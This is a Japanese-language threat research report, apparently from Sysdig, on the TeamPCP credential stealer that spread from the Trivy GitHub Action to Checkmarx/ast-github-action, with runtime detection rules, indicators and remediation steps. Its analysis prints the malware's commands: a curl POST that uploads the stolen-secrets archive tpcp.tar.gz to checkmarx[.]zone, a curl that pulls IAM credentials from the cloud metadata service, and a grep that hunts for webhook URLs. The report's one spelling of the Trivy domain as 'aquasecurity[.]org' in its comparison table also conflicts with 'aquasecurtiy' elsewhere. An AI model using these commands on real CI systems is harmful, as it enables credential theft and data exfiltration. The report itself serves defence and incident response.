2026年3月19日、TeamPCPとして知られている脅威アクターがAqua SecurityのTrivy脆弱性スキャナーおよび関連するGitHubアクションを侵害し、数千のリポジトリのCI/CDパイプラインに認証情報盗聴ペイロードを注入しました。この事件は広く報告され、StepSecurityなどによる詳細な分析が行われました。
まだ公開されていないのは、同じ攻撃パターンが後に、関連のない2番目のGitHubアクション、CheckmarxのASTに出現したことです。Sysdig脅威研究チーム(TRT)は、TeamPCPの運用で使用されたものと同じ認証情報盗聴ツールがCheckmarx/ast-github-actionを通じて実行され、暗号化されたシークレットをタイポスクワット化ドメインに流出させているのを観察しました。これは初期のTrivy侵害からわずか4日後のことです。これは、Trivy侵害から盗まれた認証情報が、影響を受けたリポジトリ内の追加アクションを汚染するために使用されたことを示唆しています。
背景:Trivy侵害
Trivyに対するTeamPCP攻撃は広く文書化されています。脅威アクターはaquasecurity/trivy-actionリポジトリの76のうち75のバージョンタグをフォースプッシュし、「TeamPCP Cloud stealer」を含む悪意のあるコミットにリダイレクトしました。
CI/CDワークフローがこれらのタグを参照するとき、侵害されたアクションは多段階ペイロードを実行しました:
- 認証情報スクレイピング:ランナーワーカープロセスから
/proc/*/memをスキャンしてメモリに保存されたシークレットを抽出 - クラウドメタデータの収集:IAM認証情報の169.254.169.254でAWS Instance Metadata Service(IMDS)に問い合わせ
- Webhook列挙:ワークスペース内のSlackおよびDiscord Webhook URLを検索
- 暗号化された流出:収集されたシークレットをAES-256+RSA-4096暗号化アーカイブ(tpcp.tar.gz)にバンドルし、タイポスクワット化ドメインへのcURL POSTを介してアップロード
流出先はscan.aquasecurtiy[.]orgで、Aqua SecurityのGitHub組織名(aquasecurity)を意図的に誤字したもので、45.148.10.212に解決されました。
Checkmarxの波
Trivyベースの攻撃が始まってからおよそ4日後、Sysdig TRTは異なるGitHubアクションから発信された同一の盗聴ツール活動の2番目の波を観察しました:Checkmarx/ast-github-actionバージョン2.3.28です。
CheckmarxイベントのプロセスツリーはTrivyイベントと同じ構造に従い、エントリーポイントのみが異なります:
- Trivyチェーン:
Runner.Worker → bash → entrypoint.sh (trivy-action) → curl POST - Checkmarxチェーン:
Runner.Worker → bash → setup.sh (ast-github-action/2.3.28) → curl POST
cURLコマンドも機能的に同一です:
curl -s -o /dev/null -w %{http_code} -X POST https://checkmarx[.]zone \ -H Content-Type: application/octet-stream \
-H X-Filename: tpcp.tar.gz \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
これは同じtpcp.tar.gzファイル名、同じ--data-binaryアップロードパターン、同じ-w %{http_code}ステータスチェック、および同じX-Filenameヘッダーを備えています。唯一の違いは以下の通りです:
| 属性 | Trivy波 | Checkmarx波 |
|---|---|---|
| アクション | aquasecurity/trivy-action | Checkmarx/ast-github-action/2.3.28 |
| エントリー ポイント |
entrypoint.sh | setup.sh |
| 流出 ドメイン |
scan.aquasecurity[.]org | checkmarx[.]zone |
| 流出IP | 45.148.10.212:443 | 83.142.209.11:443 |
| タイポスクワット対象 | aquasecurity.org | checkmarx.com |
各汚染されたアクションにベンダー固有のタイポスクワット化ドメインを使用することは、意図的な欺瞞技術です。CI/CDログを確認するアナリストは、アクション自体のベンダードメインのように見えるURLへのcURLトラフィックを確認し、手動検出の可能性を減らします。
補助攻撃段階
Checkmarx波には、Trivy波で観察された同じ補助活動が含まれていました:
- IMDSの認証情報収集:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
このコマンドはInstance Metadata Serviceからの一時的なAWS認証情報を取得します。AWSまたはAzure(IMDSが利用可能な場合)でホストされているCIランナーのコンテキストでは、これらの認証情報はランナーのIAMロールに関連付けられたクラウドリソースへのアクセスを提供できます。
- Webhook URL列挙:
grep -r "hooks.slack.com\|discord.com/api/webhooks" . 2>/dev/null | head -20
このコマンドは、チェックアウトされたリポジトリワークスペース内のSlackおよびDiscord Webhook URLを検索します。これらは二次的な流出またはソーシャルエンジニアリングに使用できます。
これがどのように起こったか
TeamPCP盗聴ツールの主な機能はCIランナーメモリから認証情報を収集することです。侵害されたTrivyアクションがワークフロー内で実行されると、Runner.WorkerプロセスメモリからGitHubの個人アクセストークン(PAT)および他のシークレットを抽出します。それらのトークンにCheckmarxアクションも使用するリポジトリへの書き込みアクセス権がある場合、攻撃者は悪意のあるコードを追加のアクション依存関係にプッシュするためにそれらを使用できます。
これにより、連鎖的なサプライチェーン侵害が発生します:1つの汚染されたアクションが、追加のアクションを汚染できる認証情報を収集し、各アクションはパターンベースの検出を回避するために異なるタイポスクワット化ドメインを使用します。
Sysdig SecureとFalcoを使用したランタイム検出
サプライチェーン侵害はランナーのアップストリームのほとんどの予防的コントロールを回避します:コードレビューと依存関係スキャンはここで失敗しました。なぜなら、悪意のあるコードがソースの信頼できるアクションに注入されたからです。タグベースのアクション参照(例:@v2)は悪意のあるコミットへのタグをフォースプッシュすることで破られました。コミットSHAのピニングのみが免疫を持つでしょう。アクションはワークフロー実行時に既に侵害されているため、パッチウィンドウがゼロに崩壊するとき、ランタイム検出が防御の主要な行となります。
TeamPCP盗聴ツールは、それを配信するGitHubアクションに関係なく、固定のキルチェーンに従います。そのチェーンの各段階は、FalcoおよびSysdig Secureが検出するように設計された、特定の侵害されたアクションの事前知識なしにシステムコール活動を生成します。
キルチェーンから検出へのマッピング
| 攻撃段階 | 観察された動作 | Sysdigルール | MITRE ATT&CK |
|---|---|---|---|
| クラウド認証情報盗難 |
ランナーコンテナからcurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
EC2インスタンスメタデータサービスへのコンテナからの接触 |
T1552.005 保護されていない認証情報:クラウドインスタンスメタデータAPI |
| シークレット流出 |
--data-binaryでアップロードする.tar.gzを外部ドメインにcURL POST |
ファイルを流出させるCurl |
TA0010 流出 |
| IMDS +流出相関 |
IMDSにもアクセスしたプロセスから外部ドメインへのcURL POST |
LOTLバイナリを使用したAWS IMDS認証情報の流出 |
T1552.005 + TA0010 |
| Webhook収集 |
ワークスペースでgrep -r hooks.slack.com|discord.com/api/webhooks |
悪意のあるIPまたはドメインがコマンドラインで検出 |
TA0009 収集、 T1102 ウェブサービス |
ランタイム検出がここで機能する理由
これらの4つのルールはTrivyとCheckmarxの両方の波を検出しました。なぜなら、基礎となるスティーラーペイロードが同じだからです。ルールは動作(システムコール、ネットワーク接続、プロセス引数)に基づいて機能し、特定の侵害されたパッケージの署名ではありません。静的分析と依存関係スキャンは失敗しました。なぜなら、悪意のあるコードが信頼できる署名されたアクションに注入されたからです。ネットワークベースの検出は失敗しました。なぜなら、タイポスクワット化ドメインは新しく登録され、クリーンな評判スコアを持っていたからです。しかし、ランタイム検出は成功しました。なぜなら、攻撃者は最終的にシステムコールを実行してデータを盗聴して流出させる必要があり、それらのシステムコールは攻撃者がコード実行をどのように獲得したかに関係なく、観察可能だからです。
最も高シグナルのルールは「LOTLバイナリを使用したAWS IMDS認証情報の流出」です。これはIMDSアクセスと後続のデータアップロードを相関させます。どちらの動作もCI/CDパイプラインで合法的である可能性がありますが、同じプロセス系統からの組み合わせはCRITICALに昇格されます。「ファイルを流出させるCurl」ルールは宛先ドメインに関係なく流出段階を検出します。つまり、攻撃者がaquasecurtiy[.]org、checkmarx[.]zone、または将来のタイポスクワットを使用しているかどうかに関わらず、機能します。
タイポスクワット化ドメイン検出
ネットワークレベルの検出だけではこれらの攻撃に十分ではありません。scan.aquasecurtiy[.]orgとcheckmarx[.]zoneの両方は、ドメインが新しく登録され、以前の悪意のある歴史がなかったため、攻撃開始時に脅威インテリジェンスフィードからクリーンな判定を返しました。検出はドメイン評判に依存するのではなく、動作(CIランナーから外部ドメインへのバイナリデータのcURL POST)に焦点を当てる必要があります。
侵害の指標
流出ドメイン
| ドメイン | タイポスクワット対象 | 解決IP |
|---|---|---|
| scan.aquasecurtiy[.]org | aquasecurity(Aqua Security) | 45.148.10.212 |
| checkmarx[.]zone | checkmarx.com | 83.142.209.11 |
流出指標
| 指標 | 値 |
|---|---|
| ペイロードファイル名 | tpcp.tar.gz |
| フォールバック流出 | 被害者のGitHubアカウント内にtpcp-docsリポジトリを作成 |
侵害されたアクション
| アクション | 侵害されたバージョン | エントリーポイント |
|---|---|---|
| aquasecurity/trivy-action | 76のうち75タグ | entrypoint.sh |
| aquasecurity/setup-trivy | 7タグ | action.yaml |
| Checkmarx/ast-github-action | 2.3.28(おそらくそれ以上) | setup.sh |
推奨事項
- 回転させる影響を受けたウィンドウ中にCIランナーがアクセス可能だったすべてのシークレット、トークン、およびクラウド認証情報。これにはGitHub PAT、AWS/Azure/GCP サービスプリンシパル認証情報、およびリポジトリまたは組織の設定で構成されたシークレットが含まれます。
- 監査2026年3月19~23日のGitHub Actionsワークフロー実行について、ランナーログでtpcp.tar.gz、aquasecurity、またはcheckmarx.zoneへの参照がないか確認。
- 検索GitHubの組織でtpcp-docsという名前のリポジトリを検索し、フォールバックメカニズムを通じた流出を示します。
- ピンGitHubアクションはバージョンタグではなく完全なコミットSHAにピンします。タグはフォースプッシュできます。コミットSHAはできません。
- 有効にするSysdig SecureまたはFalcoCIランナーインフラストラクチャでのランタイム検出により、初期アクセスベクターに関係なく、認証情報盗難およびデータ流出を検出します。
- 監視CIランナーからのアウトバウンドネットワーク接続について、予期されたアーティファクトリポジトリと一致しないドメインへのcURL POSTリクエストがないか確認。
- 制限ホップ制限を使用してIMDSv2からのCIランナーコンテナからのIMDSアクセス、またはクラウド認証情報が不要な場合はIMDSを完全に無効にします。
結論
Checkmarx/ast-github-actionでのTeamPCP盗聴ツールの出現は、サプライチェーン侵害が孤立した事象ではないことを実証しています。1つの汚染されたアクションは、追加のアクションの侵害を可能にする認証情報を収集でき、CI/CDエコシステム全体で連鎖的な効果を作成します。同じペイロード、暗号化スキーム、およびtpcp.tar.gzの命名規則は、初期のTrivy侵害を超えた到達を拡大する同じ脅威アクターであることを確認しています。
タグベースのアクション参照またはドメイン評判のみに依存する組織は、異なるアクションと異なるドメインを使用し、初期のTrivy勧告が注意を他の場所に焦点を当てた後に表示されたため、Checkmarx波全体を完全に見逃した可能性があります。ランタイム検出は、それを配信するアクションに関係なく、基礎となる動作が同じであるため、両方の波に対して有効であることが証明されました:CIランナープロセスが暗号化されたバイナリデータを、元のワークフローの一部ではなかった外部ドメインにアップロードします。
2025年のtj-actions/changed-filesから2026年のTeamPCPの複数アクションキャンペーンまで、CI/CDサプライチェーン攻撃の増加する頻度は、ビルドインフラストラクチャのランタイム監視がこれまで以上に重要であることを示しています。
